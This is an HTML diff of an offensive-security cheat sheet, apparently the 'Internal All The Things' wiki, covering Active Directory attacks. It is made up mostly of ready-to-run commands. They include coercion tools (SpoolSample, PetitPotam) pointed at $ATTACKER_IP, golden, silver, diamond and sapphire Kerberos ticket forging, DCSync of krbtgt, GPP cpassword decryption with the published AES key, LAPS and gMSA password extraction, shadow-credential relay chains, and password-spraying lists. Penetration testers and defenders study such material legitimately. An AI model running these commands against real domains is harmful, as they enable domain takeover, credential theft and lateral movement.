  • Powershell Active Directory module: Get-ADComputer -LDAPFilter "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -Properties DNSHostName,userAccountControl
    • +
+

SpoolService status

+

Check if the spool service is running on the remote host

+
ls \\dc01\pipe\spoolss
+python rpcdump.py DOMAIN/user:password@10.10.10.10
+
+

Monitor with Rubeus

+

Monitor incoming connections from Rubeus.

+
Rubeus.exe monitor /interval:1 
+
+

Force a connect back from the DC

+

Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object.

+
+

SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface.

+
+
# From https://github.com/leechristensen/SpoolSample
+.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
+.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
+# DC01.HACKER.LAB is the domain controller we want to compromise
+# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.
+
+# From https://github.com/dirkjanm/krbrelayx
+printerbug.py 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-DC-NAME>
+
+# From https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#gistcomment-2773689
+python dementor.py -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAME> <VICTIM-DC-NAME>
+
+

If the attack worked you should get a TGT of the domain controller.

+

Load the ticket

+

Extract the base64 TGT from Rubeus output and load it to our current session.

+
.\Rubeus.exe asktgs /ticket:<ticket base64> /service:LDAP/dc.lab.local,cifs/dc.lab.local /ptt
+
+

Alternatively you could also grab the ticket using Mimikatz : mimikatz # sekurlsa::tickets

+

Then you can use DCsync or another attack : mimikatz # lsadump::dcsync /user:HACKER\krbtgt

+

Mitigation

+
    +
  • Ensure sensitive accounts cannot be delegated
    • +
  • Disable the Print Spooler Service
    • +
+

MS-EFSRPC Abuse with Unconstrained Delegation

+

Using PetitPotam, another tool to coerce a callback from the targeted machine, instead of SpoolSample.

+
# Coerce the callback
+git clone https://github.com/topotam/PetitPotam
+python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
+python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
+
+# Extract the ticket
+.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
+
+

References

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Kerberos - Service for User Extension

+
    +
  • Service For User To Self which allows a service to obtain a TGS on behalf of another user
    • +
  • Service For User To Proxy which allows a service to obtain a TGS on behalf of another user on another service
    • +
+

S4U2self - Privilege Escalation

+
    +
  1. Get a TGT
      +
    • Using Unconstrained Delegation
      • +
    • Using the current machine account: Rubeus.exe tgtdeleg /nowrap
      • +
    +
    2. +
  2. Use that TGT to make a S4U2self request in order to obtain a Service Ticket as domain admin for the machine. + 
    Rubeus.exe s4u /self /nowrap /impersonateuser:"Administrator" /altservice:"cifs/srv001.domain.local" /ticket:"base64ticket"
+Rubeus.exe ptt /ticket:"base64ticket"
+
+Rubeus.exe s4u /self /nowrap /impersonateuser:"Administrator" /altservice:"cifs/srv001" /ticket:"base64ticket" /ptt
+
    3. +
+

The "Network Service" account and the AppPool identities can act as the computer account in terms of Active Directory, they are only restrained locally. Therefore it is possible to invoke S4U2self if you run as one of these and request a service ticket for any user (e.g. someone with local admin rights, like DA) to yourself.

+
# The Rubeus execution will fail when trying the S4UProxy step, but the ticket generated by S4USelf will be printed.
+Rubeus.exe s4u /user:${computerAccount} /msdsspn:cifs/${computerDNS} /impersonateuser:${localAdmin} /ticket:${TGT} /nowrap
+# The service name is not included in the TGS ciphered data and can be modified at will.
+Rubeus.exe tgssub /ticket:${ticket} /altservice:cifs/${ServerDNSName} /ptt
+
+

References

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+ + + + + + + + + + \ No newline at end of file diff --git a/active-directory/kerberos-tickets/index.html b/active-directory/kerberos-tickets/index.html new file mode 100644 index 0000000..0200276 --- /dev/null +++ b/active-directory/kerberos-tickets/index.html @@ -0,0 +1,4506 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Kerberos - Tickets - Internal All The Things + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
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Kerberos - Tickets

+

Tickets are used to grant access to network resources. A ticket is a data structure that contains information about the user's identity, the network service or resource being accessed, and the permissions or privileges associated with that resource. Kerberos tickets have a limited lifetime and expire after a set period of time, typically 8 to 12 hours.

+

There are two types of tickets in Kerberos:

+
    +
  • +

    Ticket Granting Ticket (TGT): The TGT is obtained by the user during the initial authentication process. It is used to request additional service tickets without requiring the user to re-enter their credentials. The TGT contains the user's identity, a timestamp, and an encryption of the user's secret key.

    +
    • +
  • +

    Service Ticket (ST): The service ticket is used to access a specific network service or resource. The user presents the service ticket to the service or resource, which then uses the ticket to authenticate the user and grant access to the requested resource. The service ticket contains the user's identity, a timestamp, and an encryption of the service's secret key.

    +
    • +
+

Dump Kerberos Tickets

+
    +
  • Mimikatz: sekurlsa::tickets /export
    • +
  • Rubeus + 
    # List available tickets
+Rubeus.exe triage
+
+# Dump one ticket, the output is in Kirbi format
+Rubeus.exe dump /luid:0x12d1f7
+
    • +
+

Replay Kerberos Tickets

+
    +
  • Mimikatz: mimikatz.exe "kerberos::ptc C:\temp\TGT_Administrator@lab.local.ccache"
    • +
  • netexec: KRB5CCNAME=/tmp/administrator.ccache netexec smb 10.10.10 -u user --use-kcache
    • +
+

Convert Kerberos Tickets

+

In the Kerberos authentication protocol, ccache and kirbi are two types of Kerberos credential caches that are used to store Kerberos tickets.

+
    +
  • +

    A credential cache, or "ccache" is a temporary storage area for Kerberos tickets that are obtained during the authentication process. The ccache contains the user's authentication credentials and is used to access network resources without having to re-enter the user's credentials for each request.

    +
    • +
  • +

    The Kerberos Integrated Windows Authentication (KIWA) protocol used by Microsoft Windows systems also makes use of a credential cache called a "kirbi" cache. The kirbi cache is similar to the ccache used by standard Kerberos implementations, but with some differences in the way it is structured and managed.

    +
    • +
+

While both caches serve the same basic purpose of storing Kerberos tickets to enable efficient access to network resources, they differ in format and structure. You can convert them easily using:

+
    +
  • kekeo: misc::convert ccache ticket.kirbi
    • +
  • impacket: impacket-ticketConverter SRV01.kirbi SRV01.ccache
    • +
+

Pass-the-Ticket Golden Tickets

+

Forging a TGT require: +* the krbtgt NT hash +* since recently, we cannot use a non-existent account name as a result of CVE-2021-42287 mitigations

+
+

The way to forge a Golden Ticket is very similar to the Silver Ticket one. The main differences are that, in this case, no service SPN must be specified to ticketer.py, and the krbtgt NT hash must be used.

+
+

Using Mimikatz

+
# Get info - Mimikatz
+lsadump::lsa /inject /name:krbtgt
+lsadump::lsa /patch
+lsadump::trust /patch
+lsadump::dcsync /user:krbtgt
+
+# Forge a Golden ticket - Mimikatz
+kerberos::purge
+kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
+kerberos::tgt
+
+

Using Meterpreter

+
# Get info - Meterpreter(kiwi)
+dcsync_ntlm krbtgt
+dcsync krbtgt
+
+# Forge a Golden ticket - Meterpreter
+load kiwi
+golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck>
+golden_ticket_create -d pentestlab.local -u pentestlabuser -s S-1-5-21-3737340914-2019594255-2413685307 -k d125e4f69c851529045ec95ca80fa37e -t /root/Downloads/pentestlabuser.tck
+kerberos_ticket_purge
+kerberos_ticket_use /root/Downloads/pentestlabuser.tck
+kerberos_ticket_list
+
+

Using a ticket on Linux

+
# Convert the ticket kirbi to ccache with kekeo
+misc::convert ccache ticket.kirbi
+
+# Alternatively you can use ticketer from Impacket
+./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
+
+ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
+./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519
+
+export KRB5CCNAME=/home/user/ticket.ccache
+cat $KRB5CCNAME
+
+# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
+./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 
+
+

If you need to swap ticket between Windows and Linux, you need to convert them with ticket_converter or kekeo.

+
root@kali:ticket_converter$ python ticket_converter.py velociraptor.ccache velociraptor.kirbi
+Converting ccache => kirbi
+root@kali:ticket_converter$ python ticket_converter.py velociraptor.kirbi velociraptor.ccache
+Converting kirbi => ccache
+
+

Mitigations:

+
    +
  • Hard to detect because they are legit TGT tickets
    • +
  • Mimikatz generate a golden ticket with a life-span of 10 years
    • +
+

Pass-the-Ticket Silver Tickets

+

Forging a Service Ticket (ST) require machine account password (key) or NT hash of the service account.

+
# Create a ticket for the service
+mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
+
+# Examples
+mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
+mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park
+
+# Then use the same steps as a Golden ticket
+mimikatz $ misc::convert ccache ticket.kirbi
+
+root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
+root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100 
+
+

Interesting services to target with a silver ticket :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Service TypeService Silver TicketsAttack
WMIHOST + RPCSSwmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"
PowerShell RemotingCIFS + HTTP + (wsman?)New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC
WinRMHTTP + wsmanNew-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC
Scheduled TasksHOSTschtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"
Windows File Share (CIFS)CIFSdir \\dc01\c$
LDAP operations including Mimikatz DCSyncLDAPlsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt
Windows Remote Server Administration ToolsRPCSS + LDAP + CIFS/
+

Mitigations:

+
    +
  • Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.
    • +
+

Pass-the-Ticket Diamond Tickets

+
+

Request a legit low-priv TGT and recalculate only the PAC field providing the krbtgt encryption key

+
+

Requirements:

+
    +
  • krbtgt NT Hash
    • +
  • krbtgt AES key
    • +
+
ticketer.py -request -domain 'lab.local' -user 'domain_user' -password 'password' -nthash 'krbtgt/service NT hash' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' -user-id '1337' -groups '512,513,518,519,520' 'baduser'
+
+Rubeus.exe diamond /domain:DOMAIN /user:USER /password:PASSWORD /dc:DOMAIN_CONTROLLER /enctype:AES256 /krbkey:HASH /ticketuser:USERNAME /ticketuserid:USER_ID /groups:GROUP_IDS
+
+

Pass-the-Ticket Sapphire Tickets

+
+

Requesting the target user's PAC with S4U2self+U2U exchange during TGS-REQ(P) (PKINIT).

+
+

The goal is to mimic the PAC field as close as possible to a legitimate one.

+

Requirements:

+ +
# baduser argument will be ignored
+ticketer.py -request -impersonate 'domain_adm' -domain 'lab.local' -user 'domain_user' -password 'password' -aesKey 'krbtgt/service AES key' -domain-sid 'S-1-5-21-...' 'baduser'
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Password - AD User Comment

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There are 3-4 fields that seem to be common in most Active Directory schemas: UserPassword, UnixUserPassword, unicodePwd and msSFU30Password.

+
    +
  • +

    Windows/Linux command + 

    bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(|(userPassword=*)(unixUserPassword=*)(unicodePassword=*)(description=*))' --attr userPassword,unixUserPassword,unicodePwd,description
+

    +
    • +
  • +

    Password in User Description + 

    netexec ldap domain.lab -u 'username' -p 'password' -M user-desc
+netexec ldap 10.0.2.11 -u 'username' -p 'password' --kdcHost 10.0.2.11 -M get-desc-users
+GET-DESC... 10.0.2.11       389    dc01    [+] Found following users: 
+GET-DESC... 10.0.2.11       389    dc01    User: Guest description: Built-in account for guest access to the computer/domain
+GET-DESC... 10.0.2.11       389    dc01    User: krbtgt description: Key Distribution Center Service Account
+

    +
    • +
  • +

    Get unixUserPassword attribute from all users in ldap + 

    nxc ldap 10.10.10.10 -u user -p pass -M get-unixUserPassword -M getUserPassword
+

    +
    • +
  • +

    Native Powershell command + 

    Get-WmiObject -Class Win32_UserAccount -Filter "Domain='COMPANYDOMAIN' AND Disabled='False'" | Select Name, Domain, Status, LocalAccount, AccountType, Lockout, PasswordRequired,PasswordChangeable, Description, SID
+

    +
    • +
  • +

    Dump the Active Directory and grep the content. + 

    ldapdomaindump -u 'DOMAIN\john' -p MyP@ssW0rd 10.10.10.10 -o ~/Documents/AD_DUMP/
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Password - DSRM Credentials

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Directory Services Restore Mode (DSRM) is a safe mode boot option for Windows Server domain controllers. DSRM allows an administrator to repair or recover to repair or restore an Active Directory database.

+
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This is the local administrator account inside each DC. Having admin privileges in this machine, you can use Mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.

+
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
+
+# Check if the key exists and get the value
+Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior 
+
+# Create key with value "2" if it doesn't exist
+New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD 
+
+# Change value to "2"
+Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
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Password - Group Policy Preferences

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Find passwords in SYSVOL (MS14-025). SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access. All domain Group Policies are stored here: \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.

+
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
+
+

Decrypt a Group Policy Password found in SYSVOL (by 0x00C651E0), using the 32-byte AES key provided by Microsoft in the MSDN - 2.2.1.1.4 Password Encryption

+
echo 'password_in_base64' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
+
+e.g: 
+echo '5OPdEKwZSf7dYAvLOe6RzRDtcvT/wCP8g5RqmAgjSso=' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
+
+echo 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ' | base64 -d | openssl enc -d -aes-256-cbc -K 4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b -iv 0000000000000000
+
+

Automate the SYSVOL and passwords research

+
    +
  • +

    Metasploit modules to enumerate shares and credentials + 

    scanner/smb/smb_enumshares
+post/windows/gather/enum_shares
+post/windows/gather/credentials/gpp
+

    +
    • +
  • +

    netexec modules + 

    nxc smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_autologin
+nxc smb 10.10.10.10 -u Administrator -H 89[...]9d -M gpp_password
+

    +
    • +
  • +

    Get-GPPPassword + 

    # with a NULL session
+Get-GPPPassword.py -no-pass 'DOMAIN_CONTROLLER'
+
+# with cleartext credentials
+Get-GPPPassword.py 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
+
+# pass-the-hash
+Get-GPPPassword.py -hashes 'LMhash':'NThash' 'DOMAIN'/'USER':'PASSWORD'@'DOMAIN_CONTROLLER'
+

    +
    • +
+

Mitigations

+
    +
  • Install KB2962486 on every computer used to manage GPOs which prevents new credentials from being placed in Group Policy Preferences.
    • +
  • Delete existing GPP xml files in SYSVOL containing passwords.
    • +
  • Don’t put passwords in files that are accessible by all authenticated users.
    • +
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References

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Password - Pre-Created Computer Account

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When Assign this computer account as a pre-Windows 2000 computer checkmark is checked, the password for the computer account becomes the same as the computer account in lowercase. For instance, the computer account SERVERDEMO$ would have the password serverdemo.

+
# Create a machine with default password
+# must be run from a domain joined device connected to the domain
+djoin /PROVISION /DOMAIN <fqdn> /MACHINE evilpc /SAVEFILE C:\temp\evilpc.txt /DEFPWD /PRINTBLOB /NETBIOS evilpc
+
+
    +
  • When you attempt to login using the credential you should have the following error code : STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT.
    • +
  • Then you need to change the password with rpcchangepwd.py
    • +
+

Enumerate Pre-Created Computer Account

+

Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each

+
nxc -u username -p password -M pre2K
+
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References

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Password - GMSA

+

Reading GMSA Password

+
+

User accounts created to be used as service accounts rarely have their password changed. Group Managed Service Accounts (GMSAs) provide a better approach (starting in the Windows 2012 timeframe). The password is managed by AD and automatically rotated every 30 days to a randomly generated password of 256 bytes.

+
+

GMSA Attributes in the Active Directory

+
    +
  • msDS-GroupMSAMembership (PrincipalsAllowedToRetrieveManagedPassword) - stores the security principals that can access the GMSA password.
    • +
  • msds-ManagedPassword - This attribute contains a BLOB with password information for group-managed service accounts.
    • +
  • msDS-ManagedPasswordId - This constructed attribute contains the key identifier for the current managed password data for a group MSA.
    • +
  • msDS-ManagedPasswordInterval - This attribute is used to retrieve the number of days before a managed password is automatically changed for a group MSA.
    • +
+

Extract NT hash from the Active Directory

+
    +
  • +

    netexec + 

    # Use --lsa to get GMSA ID
+netexec ldap domain.lab -u user -p 'PWD' --gmsa-convert-id 00[...]99
+netexec ldap domain.lab -u user -p 'PWD' --gmsa-decrypt-lsa '_SC_GMSA_{[...]}_.....'
+

    +
    • +
  • +

    CravateRouge/bloodyAD + 

    bloodyAD --host 10.10.10.10 -d crash.lab -u john -p 'Pass123*' get search --filter '(ObjectClass=msDS-GroupManagedServiceAccount)' --attr msDS-ManagedPassword
+

    +
    • +
  • +

    rvazarkar/GMSAPasswordReader + 

    GMSAPasswordReader.exe --accountname SVC_SERVICE_ACCOUNT
+

    +
    • +
  • +

    micahvandeusen/gMSADumper + powershell + python3 gMSADumper.py -u User -p Password1 -d domain.local

    +
    • +
  • +

    Active Directory Powershell + 

    $gmsa =  Get-ADServiceAccount -Identity 'SVC_SERVICE_ACCOUNT' -Properties 'msDS-ManagedPassword'
+$blob = $gmsa.'msDS-ManagedPassword'
+$mp = ConvertFrom-ADManagedPasswordBlob $blob
+$hash1 =  ConvertTo-NTHash -Password $mp.SecureCurrentPassword
+

    +
    • +
  • +

    kdejoyce/gMSA_Permissions_Collection.ps1 based on Active Directory PowerShell module

    +
    • +
+

Forging Golden GMSA

+
+

One notable difference between a Golden Ticket attack and the Golden GMSA attack is that they no way of rotating the KDS root key secret. Therefore, if a KDS root key is compromised, there is no way to protect the gMSAs associated with it.

+
+

⚠ You can't "force reset" a gMSA password, because a gMSA's password never changes. The password is derived from the KDS root key and ManagedPasswordIntervalInDays, so every Domain Controller can at any time compute what the password is, what it used to be, and what it will be at any point in the future.

+
    +
  • Using GoldenGMSA + 
    # Enumerate all gMSAs
+GoldenGMSA.exe gmsainfo
+# Query for a specific gMSA
+GoldenGMSA.exe gmsainfo --sid S-1-5-21-1437000690-1664695696-1586295871-1112
+
+# Dump all KDS Root Keys
+GoldenGMSA.exe kdsinfo
+# Dump a specific KDS Root Key
+GoldenGMSA.exe kdsinfo --guid 46e5b8b9-ca57-01e6-e8b9-fbb267e4adeb
+
+# Compute gMSA password
+# --sid <gMSA SID>: SID of the gMSA (required)
+# --kdskey <Base64-encoded blob>: Base64 encoded KDS Root Key
+# --pwdid <Base64-encoded blob>: Base64 of msds-ManagedPasswordID attribute value
+GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 # requires privileged access to the domain
+GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45UZXyuYB[...]G2/M= # requires LDAP access
+GoldenGMSA.exe compute --sid S-1-5-21-1437000690-1664695696-1586295871-1112 --kdskey AQAAALm45U[...]SM0R7djG2/M= --pwdid AQAAA[..]AAA # Offline mode
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References

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Password - LAPS

+

Reading LAPS Password

+
+

Use LAPS to automatically manage local administrator passwords on domain joined computers so that passwords are unique on each managed computer, randomly generated, and securely stored in Active Directory infrastructure.

+
+

Determine if LAPS is installed

+
Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll'
+Get-FileHash 'c:\program files\LAPS\CSE\Admpwd.dll'
+Get-AuthenticodeSignature 'c:\program files\LAPS\CSE\Admpwd.dll'
+
+

Extract LAPS password

+
+

The "ms-mcs-AdmPwd" a "confidential" computer attribute that stores the clear-text LAPS password. Confidential attributes can only be viewed by Domain Admins by default, and unlike other attributes, is not accessible by Authenticated Users + - Windows/Linux: + 

bloodyAD -u john.doe -d bloody.lab -p Password512 --host 192.168.10.2 get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
+
+ - From Windows:

+
+
    +
  • +

    adsisearcher (native binary on Windows 8+) + 

    ([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=*))").findAll() | ForEach-Object { $_.properties}
+([adsisearcher]"(&(objectCategory=computer)(ms-MCS-AdmPwd=*)(sAMAccountName=MACHINE$))").findAll() | ForEach-Object { $_.properties}
+

    +
    • +
  • +

    PowerView + 

    PS > Import-Module .\PowerView.ps1
+PS > Get-DomainComputer COMPUTER -Properties ms-mcs-AdmPwd,ComputerName,ms-mcs-AdmPwdExpirationTime
+

    +
    • +
  • +

    LAPSToolkit + 

    $ Get-LAPSComputers
+ComputerName                Password                                 Expiration         
+------------                --------                                 ----------         
+example.domain.local        dbZu7;vGaI)Y6w1L                         02/21/2021 22:29:18
+
+$ Find-LAPSDelegatedGroups
+$ Find-AdmPwdExtendedRights
+

    +
    • +
  • +

    Powershell AdmPwd.PS + 

    foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}
+

    +
    • +
  • +

    From Linux:

    +
    • +
  • +

    pyLAPS to read and write LAPS passwords: + 

    # Read the password of all computers
+./pyLAPS.py --action get -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
+# Write a random password to a specific computer
+./pyLAPS.py --action set --computer 'PC01$' -u 'Administrator' -d 'LAB.local' -p 'Admin123!' --dc-ip 192.168.2.1
+

    +
    • +
  • +

    netexec: + 

    netexec smb 10.10.10.10 -u 'user' -H '8846f7eaee8fb117ad06bdd830b7586c' -M laps
+

    +
    • +
  • +

    LAPSDumper + 

    python laps.py -u 'user' -p 'password' -d 'domain.local'
+python laps.py -u 'user' -p 'e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c' -d 'domain.local' -l 'dc01.domain.local'
+

    +
    • +
  • +

    ldapsearch + 

    ldapsearch -x -h  -D "@" -w  -b "dc=<>,dc=<>,dc=<>" "(&(objectCategory=computer)(ms-MCS-AdmPwd=*))" ms-MCS-AdmPwd`
+

    +
    • +
+

Grant LAPS Access

+

The members of the group "Account Operator" can add and modify all the non admin users and groups. Since LAPS ADM and LAPS READ are considered as non admin groups, it's possible to add an user to them, and read the LAPS admin password

+
Add-DomainGroupMember -Identity 'LAPS ADM' -Members 'user1' -Credential $cred -Domain "domain.local"
+Add-DomainGroupMember -Identity 'LAPS READ' -Members 'user1' -Credential $cred -Domain "domain.local"
+
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Password - Shadow Credentials

+
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Add Key Credentials to the attribute msDS-KeyCredentialLink of the target user/computer object and then perform Kerberos authentication as that account using PKINIT to obtain a TGT for that user. When trying to pre-authenticate with PKINIT, the KDC will check that the authenticating user has knowledge of the matching private key, and a TGT will be sent if there is a match.

+
+

⚠ User objects can't edit their own msDS-KeyCredentialLink attribute while computer objects can. Computer objects can edit their own msDS-KeyCredentialLink attribute but can only add a KeyCredential if none already exists

+

Requirements:

+
    +
  • Domain Controller on (at least) Windows Server 2016
    • +
  • Domain must have Active Directory Certificate Services and Certificate Authority configured
    • +
  • PKINIT Kerberos authentication
    • +
  • An account with the delegated rights to write to the msDS-KeyCredentialLink attribute of the target object
    • +
+

Exploitation: +- Windows/Linux + 

bloodyAD --host 10.1.0.4 -u bloodyAdmin -p 'Password123!' -d bloody add shadowCredentials targetpc$
+bloodyAD --host 10.1.0.4 -u bloodyAdmin -p 'Password123!' -d bloody remove shadowCredentials targetpc$ --key <key from previous output>
+
+- From Windows, use Whisker: + 
# Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
+Whisker.exe list /target:computername$
+# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
+Whisker.exe add /target:"TARGET_SAMNAME" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /path:"cert.pfx" /password:"pfx-password"
+Whisker.exe add /target:computername$ [/domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1]
+# Removes a key credential from the target object specified by a DeviceID GUID.
+Whisker.exe remove /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /remove:2de4643a-2e0b-438f-a99d-5cb058b3254b
+

+
    +
  • From Linux, use pyWhisker: + 
    # Lists all the entries of the msDS-KeyCredentialLink attribute of the target object.
+python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
+# Generates a public-private key pair and adds a new key credential to the target object as if the user enrolled to WHfB from a new device.
+pywhisker.py -d "FQDN_DOMAIN" -u "user1" -p "CERTIFICATE_PASSWORD" --target "TARGET_SAMNAME" --action "list"
+python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename "test1"
+# Removes a key credential from the target object specified by a DeviceID GUID.
+python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id "a8ce856e-9b58-61f9-8fd3-b079689eb46e"
+
    • +
+

Scenario

+

Shadow Credential Relaying

+
    +
  • Trigger an NTLM authentication from DC01 (PetitPotam)
    • +
  • Relay it to DC02 (ntlmrelayx)
    • +
  • Edit DC01's attribute to create a Kerberos PKINIT pre-authentication backdoor (pywhisker)
    • +
  • Alternatively : ntlmrelayx -t ldap://dc02 --shadow-credentials --shadow-target 'dc01$'
    • +
+

Workstation Takeover with RBCD

+

Requirements:

+
    +
  • Print Spooler service running
    • +
  • WebClient service running
    • +
+

Exploitation:

+
    +
  • Using your C2, start a reverse socks on port 1080: socks 1080
    • +
  • Enable port forward from port 8081 to 81 on the compromised machine: rportfwd 8081 127.0.0.1 81
    • +
  • Start the relay: proxychains python3 ntlmrelayx.py -t ldaps://dc.domain.lab --shadow-credentials --shadow-target target\$ --http-port 81
    • +
  • Trigger a callback on webdav: proxychains python3 printerbug.py domain.lab/user:password@target.domain.lab compromised@8081/file
    • +
  • Use PKINIT to get a TGT for the machine account: proxychains python3 gettgtpkinit.py domain.lab/target\$ target.ccache -cert-pfx </path/from/previous/command.pfx> -pfx-pass <pfx-pass>
    • +
  • Elevate your privileges by creating a service ticket impersonating a local admin: proxychains python3 gets4uticket.py kerberos+ccache://domain.lab\\target\$:target.ccache@dc.domain.lab cifs/target.domain.lab@domain.lab administrator@domain.lab administrator_target.ccache -v
    • +
  • Use your ticket: export KRB5CCNAME=/path/to/administrator_target.ccache; proxychains python3 wmiexec.py -k -no-pass domain.lab/administrator@target.domain.lab
    • +
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References

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Password - Spraying

+

Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password.

+
+

The builtin Administrator account (RID:500) cannot be locked out of the system no matter how many failed logon attempts it accumulates.

+
+

Most of the time the best passwords to spray are :

+
    +
  • Passwords: P@ssw0rd01, Password123, Password1,
    • +
  • Common password: Welcome1/Welcome01, Hello123, mimikatz
    • +
  • $Companyname1:$Microsoft1
    • +
  • SeasonYear: Winter2019*, Spring2020!, Summer2018?, Summer2020, July2020!
    • +
  • Default AD password with simple mutations such as number-1, special character iteration (*,?,!,#)
    • +
  • Empty Password: NT hash is 31d6cfe0d16ae931b73c59d7e0c089c0
    • +
+

⚠ be careful with the account lockout !

+

Spray a pre-generated passwords list

+
    +
  • +

    Using Pennyw0rth/NetExec + 

    nxc smb 10.0.0.1 -u /path/to/users.txt -p Password123
+nxc smb 10.0.0.1 -u Administrator -p /path/to/passwords.txt
+
+nxc smb targets.txt -u Administrator -p Password123 -d domain.local
+nxc ldap targets.txt -u Administrator -p Password123 -d domain.local
+nxc rdp targets.txt -u Administrator -p Password123 -d domain.local
